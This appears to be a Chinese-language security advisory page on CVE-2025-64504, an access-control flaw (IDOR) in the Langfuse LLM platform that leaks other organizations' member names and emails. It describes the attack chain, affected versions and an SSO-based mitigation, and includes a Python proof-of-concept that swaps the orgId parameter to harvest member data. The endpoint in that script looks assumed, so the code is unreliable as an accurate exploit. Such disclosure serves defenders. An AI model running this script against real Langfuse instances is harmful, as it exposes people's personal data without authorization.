IPBUF安全漏洞报告
English
CVE-2025-64504 CVSS 5.0 中危

CVE-2025-64504 Langfuse 跨组织用户信息泄露漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-64504
漏洞类型
越权访问(IDOR)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langfuse

相关标签

越权访问IDOR信息泄露LangfuseLLM平台CVE-2025-64504访问控制绕过

漏洞概述

Langfute是一个开源的大语言模型工程平台。该漏洞存在于版本2.70.0至2.95.10和3.0至3.124.0的特定项目成员管理API中。漏洞根源在于服务器信任用户可控的orgId参数,并将其用于授权检查。由于缺乏正确的权限验证,任何在同一Langfuse实例上拥有有效账户的认证用户,只要知道目标组织的orgId,即可通过修改请求中的orgId参数来枚举其他组织的成员信息,包括用户名和邮箱地址。泄露范围仅限于成员/受邀者的姓名和邮箱地址,不涉及客户数据如追踪记录、提示词或评估数据。Langfuse Cloud(欧盟、美国、HIPAA)版本在2025年11月1日修复部署前均受影响。维护者审查了过去30天的访问日志,未发现漏洞被利用的证据。对于配置了SSO提供商且禁用邮箱/密码注册的自行托管部署,攻击面大幅缩小。漏洞利用前提是攻击者必须在同一实例上拥有有效账户,且需知道目标组织的orgId。

技术细节

该漏洞属于典型的越权访问漏洞(Insecure Direct Object Reference,IDOR)。在Langfuse的项目成员管理API中,服务器端直接使用请求中传来的orgId参数进行数据库查询和权限验证,而未验证当前认证用户是否有权访问该组织的数据。攻击者通过以下步骤利用此漏洞:1) 登录Langfuse实例获取有效认证token;2) 正常访问自己组织的成员列表API;3) 使用Burp Suite等工具拦截请求,将orgId参数替换为目标组织的ID;4) 服务器因信任用户可控的orgId,直接返回目标组织的成员信息。漏洞影响的核心API是驱动前端成员表格的接口,该接口在项目成员管理功能中被调用。由于服务器端缺少对orgId的来源验证和权限检查,导致任何认证用户都能访问任意组织的成员数据。修复方案需要在服务器端实现基于会话的orgId验证,确保用户只能访问其所属组织的成员信息。

攻击链分析

STEP 1
信息收集
攻击者首先在目标Langfuse实例上注册账户并完成登录,获取有效的认证token
STEP 2
识别API端点
攻击者通过浏览器开发者工具或代理工具(如Burp Suite)识别出驱动前端成员表格的API请求
STEP 3
获取组织ID
攻击者通过社会工程、代码泄露或其他途径获取目标组织的orgId
STEP 4
构造恶意请求
攻击者使用自己的认证token,但将请求中的orgId参数替换为目标组织的ID
STEP 5
触发漏洞
服务器信任用户可控的orgId参数,未进行权限验证,直接返回目标组织的成员信息(姓名和邮箱)
STEP 6
数据窃取
攻击者成功获取目标组织所有成员和受邀者的用户名及邮箱地址

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64504 PoC - Langfuse IDOR Vulnerability Langfuse versions 2.70.0 - 2.95.10 and 3.0 - 3.124.0 This PoC demonstrates how an authenticated user can enumerate user information from other organizations by manipulating the orgId parameter. """ import requests import json TARGET_URL = "https://your-langfuse-instance.com" ATTACKER_TOKEN = "your-auth-token-here" TARGET_ORG_ID = "target-organization-id-here" def exploit(): """ Exploit the IDOR vulnerability to leak user information from a target organization. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get the legitimate member list (attacker belongs to this org) attacker_org_id = "attacker-organization-id" legitimate_url = f"{TARGET_URL}/api/v1/project/members?orgId={attacker_org_id}" print("[*] Step 1: Fetching legitimate member list...") response = requests.get(legitimate_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully fetched member list for org: {attacker_org_id}") # Step 2: Exploit IDOR - manipulate orgId to access target org members malicious_url = f"{TARGET_URL}/api/v1/project/members?orgId={TARGET_ORG_ID}" print(f"[*] Step 2: Exploiting IDOR - accessing target org: {TARGET_ORG_ID}") response = requests.get(malicious_url, headers=headers) if response.status_code == 200: data = response.json() print("[+] VULNERABLE! Retrieved member information from target org:") if "data" in data: for member in data.get("data", []): print(f" - Name: {member.get('name', 'N/A')}") print(f" Email: {member.get('email', 'N/A')}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False def find_org_id(): """ Enumerate organization IDs by checking different orgId values. """ print("[*] Enumerating organization IDs...") # This would require knowing or guessing org IDs # Attackers might obtain org IDs through other means pass if __name__ == "__main__": print("CVE-2025-64504 Langfuse IDOR PoC") print("=" * 50) exploit()

影响范围

Langfuse 2.70.0 - 2.95.10
Langfuse 3.0 - 3.124.0

防御指南

临时缓解措施
对于自行托管的部署,建议配置企业级SSO提供商(如Okta)并禁用邮箱/密码注册,这样只有通过SSO IdP认证的内部用户才能访问系统,可显著缩小攻击面。但此措施仅为缓解而非彻底修复,仍需尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表